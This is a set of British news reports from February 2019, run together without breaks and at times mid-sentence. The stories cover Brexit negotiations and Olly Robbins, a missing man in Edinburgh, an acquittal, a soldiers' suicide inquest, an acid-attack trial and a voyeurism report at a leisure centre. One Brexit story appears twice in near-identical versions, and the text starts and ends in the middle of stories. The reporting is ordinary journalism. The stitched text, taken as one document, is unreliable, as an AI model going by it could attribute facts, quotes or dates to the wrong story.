Officers and staff from BARC animal shelter tranquilised the animal and moved it to a shelter.

From there the tiger was set to be moved to a facility better equipped to care for it, although the exact location was not revealed.Whenever Theresa May heads to Brussels on Brexit business the cameras keep her front and centre, but there will be often be another person just out of shot  Olly Robbins.

Known as the mandarins mandarin, Mr Robbins has been the PMs indispensable Europe adviser since she took personal charge of the negotiations over Britains departure from the EU.

Reputed to be the only person in Whitehall to fully grasp the complexities of the British negotiating position, Mr Robbins heads the Cabinet Office Europe Unit.

However, the unelected civil servant is widely distrusted by Brexiteers, who have accused him of trying to engineer the softest possible break with the EU.

And while his mastery of the detail may be unrivalled, some have also questioned whether he has the required experience negotiating in the corridors and backrooms of Brussels.

Mr Robbins originally worked under former Brexit Secretary David Davis in the Department for Exiting the EU, but moved to Downing Street in September 2017.

Some in the Leave camp believe he was the true architect of the doomed Chequers plan, drawn up in the Cabinet Office while Mr Davis and other Brexit ministers were kept in the dark.

Prior to his Brexit role Mr Robbins had a long Civil Service career, working under every prime minister since Tony Blair, when he served as the Labour leaders principal private secretary.

Aged 43, the Oxford graduate has held senior roles in the Treasury and Home Office and was also deputy national security adviser under David Cameron.Police have released CCTV images of missing man James Cornforth as they continue to investigate his disappearance.

The 36-year-old was last seen leaving a cinema in Ocean Terminal shopping centre in Leith shortly after 3pm on Tuesday, February 5.

Expand Close Police released CCTV of missing man James Cornforth (Police Scotland/PA) / Facebook

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Whatsapp Police released CCTV of missing man James Cornforth (Police Scotland/PA)

It is understood that he then returned to an address in the Waterfront Avenue area for a short period of time, but has not returned home or been in contact with anyone since.

Inquiries established that Mr Cornforth attended a Tesco Express store on Queensferry Road at around 5.40pm later that day.

Expand Close Police in Edinburgh have released two CCTV images of James Cornforth in their efforts to trace him (Police Scotland/PA) / Facebook

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Whatsapp Police in Edinburgh have released two CCTV images of James Cornforth in their efforts to trace him (Police Scotland/PA)

Mr Cornforth is described as white, around 5ft 10ins tall, medium build with short light-brown hair.

He is said to speak with a local accent, and he has a tribal sleeve tattoo on his right arm from his shoulder to his elbow.

He has a coloured thistle tattoo on his right ankle and was last seen wearing a grey hoodie, blue cotton jogging bottoms, trainers and a black waist-length jacket.

Police say that Mr Cornforth has links to the Granton area of the city and may be seeking to travel to the Isle of Skye or Glencoe areas.

Inspector David Hughes, Police Scotland, said: As time passes we are becoming increasingly concerned for Jamess welfare and this is out of character for him not to be in contact with anyone for this length of time.

We believe James may using public transport or travelling on foot, and would ask anyone who may have seen, or spoken to him, since Tuesday (February 5) to contact us as soon as possible.

Anyone who may have any information that can help our inquiries and trace James is asked to get in touch immediately.A Bafta-nominated director has been cleared of sexually assaulting an actress in her west London flat.

Stephen Fingleton, 35, from Enniskillen, Northern Ireland, wept in the dock as he was found not guilty of attacking the woman after they had lunch on October 27, 2017.

He looked at the jury and said "thank-you" as the verdict was delivered.

The woman, who cannot be named for legal reasons, had claimed the director pulled her head towards his crotch as she hung washing.

A jury of six men and six women at Isleworth Crown Court found Mr Fingleton not guilty of one count of sexual assault after deliberating for eight hours and six minutes.

The trial previously heard the woman had made up an "untrue Harvey Weinstein-type allegation".

The pair had arranged the lunch after exchanging numbers at a British Film Industry event.

Mr Fingleton's barrister Orla Day told the trial the woman lied about the attack after becoming upset that he did not like a film she made.

In cross-examination, Ms Day said the woman hoped showing Mr Fingleton the film would "help you on your way to becoming famous".

She added: "Instead he effectively told you that he didn't think very much of your film and he wasn't interested in working with you.

"Were you concerned that your meeting had been a total disaster and you had embarrassed yourself?

"Did you decide in the heat of the moment to make an untrue Harvey Weinstein-type allegation against him?

"You know full well that the allegations you have made against him are lies."

Giving evidence to the jury, Mr Fingleton said the decision to meet the woman alone was "terrible".

He said the allegation came at a time when he was "on the point of becoming successful" but caused him to lose his attachment to an American film.

Mr Fingleton said: "I would say I had some success but I was not well known.

"I was on the point of becoming successful. At the time of the allegation I was attached to an American film that was to shoot the next year.

"That was with well-known actors, it was kind of a turning point. It's gone now."First Minister Nicola Sturgeon, right, at a Scottish cabinet meeting on Brexit in Glasgow (Andrew Milligan/PA)

Nicola Sturgeon has warned a no-deal Brexit disaster could damage supplies of food and vital medicines, as she confirmed the Scottish Government was to intensify contingency plans ahead of the UKs departure from the European Union.

The UK is due to quit the EU in just over six weeks time, on March 29  with the Scottish First Minister warning if no agreement is in place by then the availability and the price of food and drink are likely to be significantly affected.

This would have the greatest impact on the most vulnerable Scots, she added, as she repeated calls for Theresa May to immediately rule out leaving without a deal in place.

Ms Sturgeon spoke after the Scottish cabinet and the Scottish Governments Resilience Committee met in Glasgow to discuss Brexit preparations.

Expand Close First Minister Nicola Sturgeon, centre, at the meeting (Andrew Milligan/PA) PA Wire/PA Images / Facebook

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Whatsapp First Minister Nicola Sturgeon, centre, at the meeting (Andrew Milligan/PA)

Earlier, a report from Scotlands chief economist had warned that a no-deal Brexit would see a major dislocation to the Scottish economy.

In his latest State of the Economy report, chief economic adviser Gary Gillespie indicated that disruptions to logistics, supply, trade, investment, migration and market confidence could cause a significant structural change in the economy.

The analysis suggested that although the country had experienced a positive year economically, with growth in areas such as exports and high labour market performance, uncertainty around the UKs withdrawal from the EU remained a live risk.

And while Scotlands economy is expected to grow by between 1% and 1.5% over 2019, the report stressed this would need to be reconsidered if the UK fails to agree a departure deal with the EU.

The latest State of the Economy report highlights that current independent forecasts for the Scottish economy remain positive for 2019 but also remain highly uncertain until EU exit is finalised https://t.co/FYQGeaZ4g3 pic.twitter.com/ZanH6pQ58M  Scot Gov Economy (@scotgoveconomy) February 13, 2019

Ms Sturgeon indicated the reckless approach of Mrs Mays Government to Brexit negotiations meant leaving without a deal in place increasingly appears to be the most likely outcome.

In these circumstances she warned: There will be severe impacts on Scotland  on food supply, on medicines, on transport, on jobs, for our rural communities, all of which are completely unnecessary if the UK Government acts now.

It is expected that the availability and the price of food and drink are likely to be significantly affected, with a disproportionate impact on the most vulnerable in our society.

The First Minister added: With less than 50 days to go until Brexit, there is still no clarity whatsoever about the future relationship with the EU.

We will continue to call on the UK Government to immediately rule out the possibility of a no-deal Brexit and extend the Article 50 process.

However, as a responsible government we will also continue, and indeed intensify, our work to prepare for all outcomes as best we can.

A UK Government spokesman said: The best way to avoid no deal is for Parliament to agree a deal.

Our deal is the best deal available for jobs and the economy across the whole of the UK, allowing us to honour the referendum and realise the opportunities of Brexit.

Scottish Labour leader Richard Leonard said the State of the Economy report shows the urgent need for Theresa May to take the threat of a no-deal Brexit off the table.

Scottish Liberal Democrat leader Willie Rennie said: The Scottish economy is fragile, with low growth and businesses and consumers worried about the future.

Conservative neglect and Labour compliance has taken us to the brink of a no-deal Brexit which would devastate the Scottish economy. Its clearer than ever that we need a Peoples Vote and an exit from Brexit.A cross-party group of MPs is to launch a fresh attempt to prevent a no-deal Brexit if Theresa May cannot reach an agreement with Brussels by mid-March.

The group, including Labour MP Yvette Cooper and Tory former minister Sir Oliver Letwin, have said they are ready to table an amendment enabling Parliament to force ministers to seek a delay if there is no deal in place.

The move comes as it was reported the Prime Minister's chief EU adviser Olly Robbins has suggested MPs could be faced with a choice between accepting her deal or seeing Britain's withdrawal put on hold for an extended period.

ITV news reported that Mr Robbins was overheard in a Brussels hotel bar on Monday telling colleagues the EU would probably give the Government an extension to the Article 50 withdrawal process.

He was said to have indicated that if MPs did not vote for a deal, then the delay would be "a long one".

"The issue is whether Brussels is clear on the terms of extension.

"In the end they will probably just give us an extension," he was quoted as saying. "Got to make them believe that the week beginning end of March... extension is possible but if they don't vote for the deal then the extension is a long one..."

The comments by Mr Robbins - a key figure in the negotiations with the EU - will fuel the suspicion among MPs that Mrs May is trying to "run down the clock" to Brexit day on March 29 in an attempt to force them to back her agreement.

Publicly the Prime Minister has always insisted the UK will leave on time - although a number of Cabinet ministers have raised the possibility of an extension.

A Government spokesman said: "We would not comment on alleged remarks from a private conversation which is said to have been overheard in a hotel bar."

Meanwhile, the group led by Ms Cooper and Sir Oliver said they were preparing plans to enable Parliament to prevent the country falling into a no-deal Brexit "by accident".

The move follows the announcement by Mrs May yesterday that she will make a further Commons statement on February 26 and table an amendable motion to be debated and voted on by MPs the following day, if she has not got a deal at that point.

The group say they would then put down an amendment creating parliamentary time for a bill requiring the Prime Minister and Parliament to decide by mid-March whether the UK is leaving with a deal, without a deal or whether it will seek an extension to Article 50.

Ms Cooper said: "This bill creates a Parliamentary safeguard to prevent us drifting into no-deal by accident, and to prevent those crucial decisions being left until the final fortnight."DUP deputy leader Nigel Dodds has urged the Prime Minister to "stand firm" against Brussels and ensure no new borders are erected between Northern Ireland and Britain.

He was speaking after Theresa May yesterday told MPs she needed "some time" to seek legally binding changes to the backstop. She promised them a final vote on her Brexit deal.

The Prime Minister confirmed she will table an amendable motion for debate tomorrow seeking the House of Commons' continued support for her to demand "alternative arrangements" to keep the Irish border open after Brexit.

And she pledged to return on February 26 with a further statement - triggering another debate and votes the next day - if she has not got a deal by then.

The Prime Minister denied claims by Labour leader Jeremy Corbyn that she was attempting to run the clock down to bounce MPs into supporting her deal.

She said she was discussing several options with the EU to secure changes to the backstop, including replacing it with "alternative arrangements", placing a time limit on it and a unilateral exit clause.

In response to Mrs May's statement to MPs, Mr Dodds said: "The Prime Minister has spoken about the need to keep a seamless border between Northern Ireland and the Republic of Ireland after the UK exits the EU.

"I don't want any new barriers either, but equally Mrs May must remember the importance of stopping any new borders being erected between Northern Ireland and the rest of the UK.

"Our most important market is the rest of the United Kingdom. Northern Ireland trades more with Great Britain than with the Republic of Ireland, rest of the EU and the rest of the world combined."

The DUP deputy leader said that Dublin had been "incredibly vocal" about the need for the backstop and in its support for the withdrawal agreement.

"Yet it is their attachment to this flawed draft deal which could lead to no deal being in place by the time the UK exits the EU," he said.

"Ultimately, it is not necessary to erect any new barriers either north-south or east-west. We can reach a better way forward, but it will require greater flexibility in Dublin and Brussels."

Mr Dodds said the backstop had been rejected by Parliament.

"The Prime Minister received a clear mandate. The Government must now stand firm and deliver on the commitments made in that debate," he added.

Ulster Unionist leader Robin Swann, who is in London for talks with all the Westminster parties, said he hoped that the Prime Minister's actions matched her words.

"It would be the worst of all worlds, if at the end of discussions with the EU, the only options on the table are no-deal or her original withdrawal agreement. We'll be back to square one," he said. "The backstop is totally unacceptable, as it would destroy the very foundations of the Belfast Agreement.

"The economic and constitutional integrity of the UK is not up for sale. This is the message that should be at the forefront of her thoughts in the days ahead as she attempts to make the EU see sense.

"Belligerence and grandstanding needs to be replaced by pragmatism and a dose of common sense."

TUV leader Jim Allister said Mrs May was clearly playing for time and he warned her that if she got nothing from "belligerent Brussels" she shouldn't try to bounce through the same deal that Parliament rejected.

If she did, "vigorous resistance" would be needed from DUP MPs, he said. If the EU continued to "humiliate her by offering nothing", Mrs May needed to "reclaim her dignity and lead us out on World Trade (Organisation) terms on March 29".

Mr Allister said: "One mooted suggestion, which the Prime Minister seems favourable to, namely, an end date to the backstop, is not a solution for Northern Ireland.

"It is wholly incompatible with the Union (and) that date would become the new target date for Sinn Fein's campaign for a referendum on Irish unification. Thus, far from bringing stability, such an arrangement would feed republican agitation. So, the backstop has to go now lock, stock and barrel."

Alliance deputy leader Stephen Farry accused the Prime Minister and Parliament of "wasting time" by running the clock down on Brexit.

They are playing a "dangerous game", he claimed. "The choices facing the UK are clear and stark. Any negotiated Brexit will need to be based on this withdrawal agreement, including the backstop as it is currently framed," he said.

"The only coherent alternative is a further referendum. Otherwise, the default is a catastrophic no-deal situation. More and more delay and procrastination only serves to indulge delusions and the chasing of unicorns."

Dr Farry said it seemed there was a Commons majority for a soft Brexit and there may be one for a second referendum.A cross-party group of MPs is to launch a fresh attempt to prevent a no-deal Brexit if Theresa May cannot reach an agreement with Brussels by mid-March.

The group, including Labour MP Yvette Cooper and Tory former minister Sir Oliver Letwin, have said they are ready to table an amendment enabling Parliament to force ministers to seek a delay if there is no deal in place.

The move comes as it was reported the Prime Ministers chief EU adviser Olly Robbins has suggested MPs could be faced with a choice between accepting her deal or seeing Britains withdrawal put on hold for an extended period.

Expand Close Olly Robbins is said to have warned of a long delay unless MPs back Theresa Mays deal (PA) PA Wire/PA Images / Facebook

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Whatsapp Olly Robbins is said to have warned of a long delay unless MPs back Theresa Mays deal (PA)

ITV news reported that Mr Robbins was overheard in a Brussels hotel bar on Monday telling colleagues the EU would probably give the Government an extension to the Article 50 withdrawal process.

He was said to have indicated that if MPs did not vote for a deal, then the delay would be a long one.

The issue is whether Brussels is clear on the terms of extension. In the end they will probably just give us an extension, he was quoted as saying.

Got to make them believe that the week beginning end of March Extension is possible but if they dont vote for the deal then the extension is a long one

The comments by Mr Robbins  a key figure in the negotiations with the EU  will fuel the suspicion among MPs that Mrs May is trying to run down the clock to Brexit day on March 29 in an attempt to force them to back her agreement.

This bill creates a Parliamentary safeguard to prevent us drifting into no-deal by accidentYvette Cooper

Publicly the Prime Minister has always insisted the UK will leave on time  although a number of Cabinet ministers have raised the possibility of an extension.

A Government spokesman said: We would not comment on alleged remarks from a private conversation which is said to have been overheard in a hotel bar.

Meanwhile, the group led by Ms Cooper and Sir Oliver said they were preparing plans to enable Parliament to prevent the country falling into a no-deal Brexit by accident.

The move follows the announcement by Mrs May on Tuesday that she will make a further Commons statement on February 26 and table an amendable motion to be debated and voted on by MPs the following day, if she has not got a deal at that point.

The group say they would then put down an amendment creating parliamentary time for a bill requiring the Prime Minister and Parliament to decide by mid-March whether the UK is leaving with a deal, without a deal or whether it will seek an extension to Article 50.

Expand Close Sir Oliver Letwin is backing move to prevent an accidental no-deal Brexit (Dominic Lipinski/PA) PA Archive/PA Images / Facebook

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Whatsapp Sir Oliver Letwin is backing move to prevent an accidental no-deal Brexit (Dominic Lipinski/PA)

Ms Cooper said: This bill creates a Parliamentary safeguard to prevent us drifting into no-deal by accident, and to prevent those crucial decisions being left until the final fortnight.

A similar amendment by Ms Cooper and the Tory former minister Nick Boles was defeated in the Commons last month.

However supporters of the plan believe that as the calendar counts down towards March 29, it will focus the minds of MPs on all sides who believe no-deal would be a disaster for the UK economy.

Sir Oliver added: Any MP who genuinely wants to prevent an under-prepared no-deal Brexit will need to vote for this bill at the end of February.

It is the only way of giving the House of Commons the time to produce a consensus about a positive way forward if the PM cannot get her deal through by mid-March.

Other MPs supporting the move include the senior Labour MP Hilary Benn, Tory former attorney general Dominic Grieve and the Liberal Democrat Norman Lamb.

It is also backed by Tory MP Dame Caroline Spelman and Labours Jack Dromey, who last month tabled a non-binding amendment opposing a no-Brexit which did win Commons support.

Earlier, Mrs May set out plans to short circuit parliamentary rules in order to get a Brexit deal ratified in time for the UK to leave the EU on March 29.

The Prime Minister told MPs that she would enable the House of Commons to lift a requirement for a 21-day delay before any vote to approve an international treaty.

But Labour pledged to oppose the move, accusing the Government of showing contempt for our democracy.

We can deliver for the people and the communities that voted for change two and half years ago a and whose voices for too long have not been heard.



We can honour the result of the referendum.



We now all need to hold our nerve. pic.twitter.com/bqVWNMs43i  Theresa May (@theresa_may) February 12, 2019

In a Commons statement, Mrs May acknowledged she would need some time to seek legally-binding changes from the EU to the controversial backstop for the Irish border.

With 45 days to go however, Mr Grieve warned time was running perilously short under the terms of the Constitutional Reform and Governance Act which requires 21 sitting days before the ratification of any international treaty.

Downing Street insisted by the time the 21-day period to consider the Brexit treaty kicked in, MPs would already have passed judgment on it in the meaningful vote and the Withdrawal Agreement Bill.

Mrs May sidestepped demands from several MPs to spell out whether she would ask the EU for an Article 50 extension if she hit the March 29 deadline with no agreement.

In stormy exchanges in the Commons, the SNPs Westminster leader Ian Blackford risked being thrown out of the chamber after shouting liar at the Prime Minister.

Labour leader Jeremy Corbyn suggested she was running down the clock on Brexit in the hope that MPs will be blackmailed by the fear of a no-deal scenario into supporting a deeply flawed agreement.

She is playing for time and playing with peoples jobs, our economic security and the future of our industry, he said.

Mrs May told the Commons: We now all need to hold our nerve to get the changes this House requires and deliver Brexit on time.Brexit Secretary Stephen Barclay has rejected suggestions that the Government has ruled out a no-deal Brexit.

Senior negotiator Olly Robbins was reported to have been overheard in a Brussels bar saying that Theresa May planned to wait until the end of March before confronting MPs with a choice between her deal or a lengthy delay to Brexit.

But Mr Barclay insisted that it remained the agreed position of the Cabinet to work to secure a favourable deal but plan for the possibility of no-deal.

Asked whether Mr Robbinss reported comments reflected Government policy, the Brexit Secretary told BBC Radio 4s Today programme: No. The Prime Minister has been very clear that we are committed to leaving on March 29.

In the Commons, Mrs May insisted the Governments position concerning the Article 50 withdrawal process had not changed.

We triggered Article 50  in fact this House voted to trigger Article 50. That had a two-year time line. That ends on March 29, she told MPs at Prime Ministers questions.

We want to leave with a deal. That is what we are working for.

Mrs May is facing a potential confrontation with Eurosceptic Conservatives, who have warned they will not back a motion she has tabled for debate on Thursday, which they believe effectively endorses a policy of ruling out no-deal.

The motion asks the Commons to reaffirm its decisions in an earlier debate on January 29, when amendments were passed requiring the PM to go back to Brussels to replace the controversial Irish backstop, but also rejecting a no-deal outcome.

Expand Close MPs voted on January 29 to send Mrs May back to Brussels to renegotiate the backstop (UK Parliament/Jessica Taylor/PA) Press Association Images / Facebook

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Whatsapp MPs voted on January 29 to send Mrs May back to Brussels to renegotiate the backstop (UK Parliament/Jessica Taylor/PA)

One member of the Leave-backing backbench European Research Group (ERG) told the BrexitCentral website: We told the Government very clearly last night that we will not support this motion and in fact we urged them, indeed pleaded with them at senior level, to withdraw it yesterday  but they took absolutely no notice. Frankly, we despair.

Meanwhile shadow Brexit secretary Sir Keir Starmer said Labour is committed to preventing Mrs May from pursuing a reckless policy of running down the clock to the point where MPs may be faced with a choice between her deal or no-deal with just days to go to the March 29 deadline.

Labour has tabled an amendment for debate in the Commons on Thursday which would require the Government to either put her deal to a vote by February 27 or allow Parliament to take control of the process.

Sir Keir, who is due to meet ministers on Wednesday, said Labour will also support a proposal from backbencher Yvette Cooper, which has the backing of senior Tories including former party chairman Dame Caroline Spelman and ex-minister Sir Oliver Letwin.

Ms Coopers amendment would require a vote by the middle of March on delaying Brexit, unless Mrs May secures Parliaments support for either her deal or a no-deal withdrawal by that time.

Sir Keir told Today that Labour will support that, but sidestepped the question of whether frontbenchers who vote against it or abstain would lose their jobs.

Several shadow ministers were allowed to stay in post despite disobeying orders to back an earlier amendment from Ms Cooper last month.

Im clear what my job is on this, and that is to get amendments down that stop the Prime Minister doing what shes doing, because it is actually a reckless policy, said Sir Keir.

What the Prime Minister is up to is obvious. Shes coming to Parliament every other week, pretending theres progress and trying to buy another two weeks, edging her way towards March 21, when the next EU summit is, to try to put her deal up against no-deal in those final few weeks.

Parliament needs to say Thats not on.

Downing Street declined to comment on reports of the remarks supposedly made by Mr Robbins to colleagues in a Brussels hotel bar.

Expand Close Olly Robbins is said to have warned of a long delay to Brexit unless MPs back a deal (Dominic Lipinski/PA) PA Wire/PA Images / Facebook

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Whatsapp Olly Robbins is said to have warned of a long delay to Brexit unless MPs back a deal (Dominic Lipinski/PA)

ITV News said the official who heads the UKs negotiation team was heard saying that if MPs do not vote for a deal, the EU would probably grant an extension to the two-year Article 50 withdrawal process, but it would be a long one.

He was quoted as saying: The issue is whether Brussels is clear on the terms of extension. In the end they will probably just give us an extension.

Got to make them believe that the week beginning end of March Extension is possible but if they dont vote for the deal then the extension is a long one

Olly Robbins represents the Civil Service fifth column in our country. He should be sacked immediately for a combination of treachery and incompetence.Nigel Farage

Conservative party vice-chairman Chris Philp later dismissed the report, telling BBCs Newsnight: What a civil servant might speculate in a bar after a few drinks is frankly not that important.

However the comments reinforced suspicions among MPs that Mrs May is trying to run down the clock in an attempt to force them to back her agreement.

Tory Brexiteer Andrea Jenkyns tweeted: If true, the PM should stop ignoring the wishes of the British people and disregarding her own red lines.

Former Ukip leader Nigel Farage said Mr Robbins was part of the civil Service fifth column and called for him to be sacked for his combination of treachery and incompetence.

However ERG deputy chairman Steve Baker said it is the view of the Prime Minister which counts.

Officials advise. Ministers decide. If the PM decides we are leaving on March 29, deal or no deal, that will happen, he said.

Meanwhile, it has been reported that MI6 chief Alex Younger is expected to stay on beyond his retirement date to guide the secret intelligence service through Brexit.

Downing Street declined to be drawn on a report that officials want Mr Younger, 55, who is due to retire in November, to carry on for 12 months to two years after Britain has leaves the EU.The Prince of Wales told children he hopes they will make a real difference to the future of this country as he visited a school affected by the Grenfell Tower tragedy.

In a visit to the Kensington Aldridge Academy (KAA), Charles also suggested the children would be the next generation of cyber security experts, during a special assembly featuring a choir and a dance routine.

This came after the prince spoke to five pupils affected by the Grenfell disaster, telling them they were lucky to have the opportunities of enrichment the school offered.

It is students second term back in the building in west London after it was forced to relocate following the June 2017 blaze.

The Prince meets @KAA_Intrepidus pupils who were affected by the Grenfell Tower fire.



The Academy is located just yards from the foot of the Tower. The school lost five students in the tragedy in June 2017, and many staff and pupils had to be rehoused as a result. pic.twitter.com/afX2x5C7sP  The Prince of Wales and The Duchess of Cornwall (@ClarenceHouse) February 13, 2019

We were a bit nervous because hes royalty, from royal blood. We thought hed be sterner but he was really sweet, said Yusra Ali, a year 11 student.

He said we were good ambassadors for the school after the tragedy in 2017.

We were discussing enrichment opportunities at this school, which include music, debates and sports.

Jake Ayling, in year 9, told of the difficulties he faced after the disaster in 2017.

Last year we were in the temporary building, after the fire we stayed in Portakabins as we couldnt stay in this building.

He told us that we now have good opportunities in this school and for the future.

Earlier on Wednesday morning around 200 pupils welcomed the prince, waving flags and cheering.

This morning, The Prince of Wales is visiting @KAA_Intrepidus, a secondary school in the heart of North Kensington. pic.twitter.com/vQoj0PNoDL  The Prince of Wales and The Duchess of Cornwall (@ClarenceHouse) February 13, 2019

During an assembly with a choir performance and dance, headmaster David Benson thanked Charles for visiting, and said the school had been through difficult times.

The prince took a front row seat as around 40 children sang What About Us  a song they learned while they were in temporary accommodation last year. Afterwards he was handed a pot of local honey by the music teacher.

Giving an impromptu speech, the prince told students: If I may say so, I hope you have the greatest possible success in the future.

It isnt always easy, there are a lot of appalling challenges out there, but I hope your experiences here will help you a little bit to cope with those challenges and make a real difference to the future of this country.

Because we are going to rely on so many of you, and many of you, Im sure, are going to be frighteningly clever computer engineers and people helping to sort out all these cyber security issues (that) I dont understand, but Im sure many of you will help to make sure we can do our best.

So best of luck all of you, and as I said to some of you, you can always blame me if you dont pass the exams.

After the visit, Mr Benson said: The Prince of Wales was definitely aware of the recent history of the school, he knew about Grenfell, he knew about the way the school had been impacted, he knew about the displacement to the temporary school.

Actually, today, what he wanted to talk about was the achievements of the students, how happy and settled they are now to be back in their home, about their ambitions. He talks to students a lot about the universities they are applying to.

I think he was very aware but also, for him, I think this was about a positive visit, it was about celebrating the achievement of the students.

His Royal Highness meets representatives from @TeachFirst, of which HRH is Patron, and those who have helped support the school in recent months. pic.twitter.com/8z9FpbSFg6  The Prince of Wales and The Duchess of Cornwall (@ClarenceHouse) February 13, 2019

Charles is patron of Teach First, a fast-track teacher training charity which places staff in disadvantaged areas.

Around 20 teachers trained with Teach First at KAA.

The prince spoke highly of the charity as he entered the building and greeted Mr Benson, a Teach First graduate, and other senior representatives.

The Prince of Wales watches a history lesson at @KAA_Intrepidus.



In 2017, Ofsted graded the school not only aoutstandinga in all areas but aexceptionala and in 2018, the school was named the TES secondary school of the year. pic.twitter.com/U3u4oeCkt9  The Prince of Wales and The Duchess of Cornwall (@ClarenceHouse) February 13, 2019

During the visit Charles sat in on history and geography lessons and also spent time in the schools library.

Youd better get on with it otherwise it will be my fault if you dont pass your exams, he joked in the geography lesson.

Good luck, he added as he left the room.The commanding officer of a soldier who took his own life in a Co Down Army base has told an inquest he had "no reason to raise a red flag" over his behaviour before the young man's death.

Lance Corporal James Ross (30) of the 2nd Battalion The Rifles was found hanging in his room at Ballykinler on December 8, 2012.

Rifleman Darren Mitchell (20), from London, was found hanged in his room at Ballykinler on February 10, 2013.

Yesterday the inquest into their deaths heard from the company commander of 2 Rifles, Lt Colonel Robert Bryan, who was a major at the time.

"James was not considered as a welfare risk," Lt/Col Bryan told the inquest in Ballymena Courthouse.

"He was an engaging person, mature in age and outlook and had no dealings with welfare or disciplinary matters. That wasn't on the radar."

That was contradictory to previous evidence of a friend of L/Cpl Ross.

She had said the Leeds man had told her he had been demoted after taking a group of junior ranked men for a run on the beach in Ballykinler and a swim in the sea.

"I know nothing about that, only from what I've heard at the inquest," said Lt/Col Bryan.

He also said it was "surprising" to learn of evidence that L/Cpl Ross had told a civilian driving instructor that he didn't want to be at Ballykinler.

"He might have thought he was a little behind the curve, being older than most of the others, but he was keen to catch up and any failure of the driving course would not have been an issue of concern," he added.

Lt/Col did concede that soldiers stationed at Ballykinler were left feeling "always behind a wire" and said young soldiers "may have felt incarcerated".

"It was a fantastic base in the short-term, but very challenging for a longer duration. Soldiers in 2 Rifles were left with no end date to their posting and I am aware there was considerable discussion among officers and soldiers about applying for transfers out. I was concerned it was an issue for them," he said.

Also giving evidence was Army payroll expert Staff Sergeant James Spacey, who detailed issues over salary payments to the other soldier found dead at Ballykinler, Rifleman Darren Mitchell.

The inquest heard how Rifleman Mitchell had risen from the rank of private in 2011, but there had been a failure to apply his salary increase. The soldier was 6,000 in debt.

Mr Spacey did concede that pay increments, which should have been sorted previously, were eventually paid in arrears by the Army in February 2013, the month Rifleman Mitchell was found dead in his room at Ballykinler.

The inquest also heard how Mitchell had to ask his mother to pay for a flight home from an Army training week in Spain following a mix-up over the booking.

Staff Sergeant Spacey said he could only think the Army would not pay for a flight home for a serving soldier on a training week if the flight had been missed or the ticket lost, though he added he could not say if this had been the case for Rifleman Mitchell.

The inquest continues.The moment of the acid attack on the three-year-old boy (West Mercia Police/PA)

A man who claims he was forced to squirt acid on a three-year-old boy has told a jury he felt terrible when he found out the victim was burned.

The youngster, who cannot be identified for legal reasons, suffered serious injuries to his face and arm at the Home Bargains store in Worcester on July 21 last year.

A 40-year-old man, the boys father, has denied a charge of conspiring to spray sulphuric acid on the boy between June 1 and July 22, 2018 with intent to harm.

He is on trial at Worcester Crown Court accused of plotting the attack alongside a woman and five other men, including Adam Cech.

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Cech, who has accepted he squirted the boy, told the jury on Wednesday he did not know it was acid and discovered that fact only when he saw reports on the news later that day.

The father-of-two has also claimed another of the co-accused, Norbert Pulko, forced a bottle containing the acid into his hand after threatening him with a gun, moments before the shop attack.

Cech, when asked by his barrister how he felt on hearing he had burned the child, replied: Terrible.

He claimed Pulko had been driving him to London when he came across a news report of the attack.

I asked him what was in that bottle  how was it possible that I have harmed this boy,' Cech added.

The 27-year-old, of Farnham Road, Birmingham, has pleaded not guilty to being part of the conspiracy, alongside co-accused Jan Dudi, 25, of Cranbrook Road, Birmingham, and Pulko, 22, of Sutherland Road, London.

Martina Badiova, 22, of Newcombe Road, Handsworth, Birmingham; Jabar Paktia, 42, of Newhampton Road, Wolverhampton, and Saied Hussini, of Wrottesley Road, London, have also denied the same charge.

Jurors have previously heard the injured child repeatedly screamed I hurt after being struck, at about 2.16pm.

Expand Close Adam Cech admitted to jurors on Tuesday its me squirting acid on the boy in CCTV footage of the attack (West Mercia Police/PA) Press Association Images / Facebook

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The Crown has alleged the father enlisted others to attack the youngster in a bid to win a custody battle, after his wife walked out on him with the children in 2016.

It is also alleged an aborted attempt was carried out on July 13, eight days before the shop attack.

Jurors have already heard a claim, made through Hussinis barrister, that the boys father had been willing to pay up to 3,000 for private investigators to follow his wife and children.

On the second day of his evidence, Cech claimed he was scared of going to the police about Pulko after an incident at the mans London home involving a gun.

Cech said: He was holding the gun, and while he was talking, he was waving it about.

The jury have seen a BB gun, found by police in Pulkos bedroom, which Cech has claimed was also used to threaten him into carrying out the attack moments before it happened.

Expand Close Footage of Cech, right, with a man said to be Dudi, left, and Pulko, far left, entering the Home Bargains store just before the attack (West Mercia Police/PA) Press Association Images / Facebook

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Following his arrest, however, Cech gave a no comment interview to police.

His barrister Andrew Copeland asked: Why didnt you tell the police then?

Cech replied: I was scared, frightened, and it was the first time Ive ever been in a police station.

He was also asked to bear his left wrist in court in order to show he was not an alleged guinea-pig to prove the acids strength ahead of the attack.

Mr Copeland showed an image of a mans left forearm, with a red acid-type injury, which had been recovered from Hussinis mobile phone.

However, when Cech rolled back his sleeve, it showed a heavily tattooed limb  unlike the one in the photograph.

Expand Close A different angle apparently showing Cech squirting the boy in the attack (West Mercia Police/PA) Press Association Images / Facebook

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Earlier this week, during the fathers evidence, prosecutor Jonathan Rees QC claimed he had been handing over acid in a pub car park to a man alleged to be Pulko just hours before the attack.

The Crowns barrister asked him: I suggest you are an arrogant and selfish man, arent you?

You planned this acid attack on your three-year-old son.

The father, who cannot be named for legal reasons, said: This is not the truth, I would never do this.

The trial continues.Police are investigating a report that schoolgirls were spied on as they used the changing room of a County Antrim leisure centre

Police are investigating a report that schoolgirls were spied on as they used the changing room of a Northern Ireland leisure centre.

A woman has said her daughter was left traumatised after a person used a mirror with a camera attached in Ballymena's Seven Towers Leisure Centre earlier this month.

Writing on social media, the woman said: "My daughter and other girls were very upset about an incident that happened in the cubicles. Some sick person using a mirror with a camera attached to it was looking at them while they were getting changed.

"I am really furious at what has happened.

"Now my daughter is afraid to go back swimming."

The leisure centre staff are working with the police, but Councillor Donna Anderson said consideration should be given to installing floor to ceiling partitions in all council changing facilities.

She described the incident as "truly shocking" and added: "I want to offer my best wishes to the schoolchildren affected.

"I know the leisure centre is working closely with the police investigation and are doing everything they can to reassure parents, including increasing the number of staff in the changing rooms."

Ms Anderson said shared changing facilities are becoming more common "but they do throw up an increased potential for incidents like this".

"Perhaps council needs to review what can be done to make everyone safer, but particularly with children using shared changing rooms and one possible solution could be ceiling to floor cubicles," she said.

"This was a truly shocking incident and I know it is something that all parents will be alarmed by, but I know the council do take public safety very seriously, demonstrated in the speed at which this incident was reported to the police."

A Mid and East Antrim Council spokeswoman said: "Leisure staff are committed to protecting children and young people and follow robust safeguarding procedures. Council is a member of Leisure Watch.

